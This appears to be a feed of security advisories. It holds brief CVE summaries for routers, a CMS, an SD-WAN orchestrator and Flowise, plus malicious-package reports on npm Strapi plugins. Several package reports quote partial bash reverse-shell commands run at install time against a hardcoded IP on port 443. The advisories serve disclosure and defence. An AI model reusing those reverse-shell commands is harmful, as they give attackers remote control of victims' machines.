Sandbox bypass vulnerability in script-security

script-security provides a sandbox feature that allows running user-provided scripts safely by intercepting and checking potentially unsafe operations. Groovy coerces a value to an interface by creating a proxy that forwards each interface method call to a method of the same name on that value...

CVE-2026-76871

Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in modvpnremote/plan.json, pptpdusershow.cgi, pptpclientconfigshow.cgi, and l2tpdusershow.cgi. Attackers can leverage these components to obtain PPTP and L2TP VPN credentials...

CVE-2026-92257

Netcore NR255-V version 1.5.130703 contains a stored cross-site scripting vulnerability in its L7 content management pages, specifically in the call board text and policy group handling components, which use eval() sinks to process input. Attackers with low privileges can inject persistent script...

CVE-2026-76858

Netcore NR255-V version 1.5.130703 is affected by a stored cross-site scripting (XSS) vulnerability in ddns_wan_list_show.cgi , caused by unsafe use of eval() to process DDNS data. An attacker with access to the DDNS configuration path can inject a malicious script that executes persistently when...

CVE-2026-76853

Netcore NR268 firmware version 1.7.121109 is affected by a security check bypass in the parame_put_file.cgi restore archive prefix validation. The root cause is a flawed prefix check in put_parame_file_cgi.c , which allows an attacker with low privileges to bypass restricted restore archive handl...

CVE-2026-76704

HPE EdgeConnect SD-WAN Orchestrator web-based management interface is affected by an authenticated stored XSS vulnerability. An attacker with a valid account can inject malicious script that executes in a victim's browser within the interface context, potentially allowing access to sensitive info...

CVE-2026-76704 Authenticated Stored Cross-Site Scripting (XSS) Vulnerability in EdgeConnect SD-WAN Orchestrator Web-Based Management Interface

A vulnerability in the web-based management interface of the EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker to execute arbitrary script code in a victim's browser in the context of the affected interface. Successful exploitation could allow an attacker to access...

CVE-2026-18113 Concrete CMS 9.0 to 9.5.2 is vulnerable to Stored XSS in the Top Navigation Bar Block via Dropdown Child Page Names

In Concrete CMS 9.0 to 9.5.2, the Top Navigation Bar block did not HTML-escape dropdown child page names before writing them into the page, so a user who could create or rename pages could store a script through a child page name and have it run in the browser of any visitor, editor, or...

CVE-2026-91936

Flowise versions before 3.1.4 contain a script injection vulnerability in Docker image build workflows where workflowdispatch inputs are directly interpolated into shell run blocks. Attackers with repository write access can inject shell metacharacters through inputs like tagversion and nodeversi...

MAL-2026-16176 Malicious code in fulfillment-cuprum-auth-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06df6767178d76043d26df04fcbe4e8de2f579d38e96f52a04346c04a6dda565 The package's preinstall script index.js runs automatically on npm install and collects host identifiers via os.hostname, os.userInfo, os.homedir, an...

MAL-2026-16194 Malicious code in strapi-plugin-yesccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4fa4d6fa3f37bcc5179aecbcb365bc73d94ac1cb799ac4f93fa4702292b493 package.json declares postinstall: node postinstall.js, which unconditionally spawns bash with stdio redirected to /dev/tcp/14.225.210.85/443, giving...

MAL-2026-16187 Malicious code in strapi-plugin-revsh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bas...

MAL-2026-16186 Malicious code in strapi-plugin-revs02-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b50be7098a50f4a7fc673fdffe7a06ab9ce182fdca04a8ee9cd448f66c9a6b1 The package declares scripts.postinstall pointing at postinstall.js, whose top-level code executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1',...

MAL-2026-16185 Malicious code in strapi-plugin-revs01-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...

Malicious code in strapi-plugin-proccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729 strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install...

MAL-2026-16183 Malicious code in strapi-plugin-resh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'ba...

MAL-2026-16190 Malicious code in strapi-plugin-tryccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...

MAL-2026-16188 Malicious code in strapi-plugin-rs-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell'...

MAL-2026-16181 Malicious code in strapi-plugin-plsresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...

MAL-2026-16180 Malicious code in strapi-plugin-ccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-she...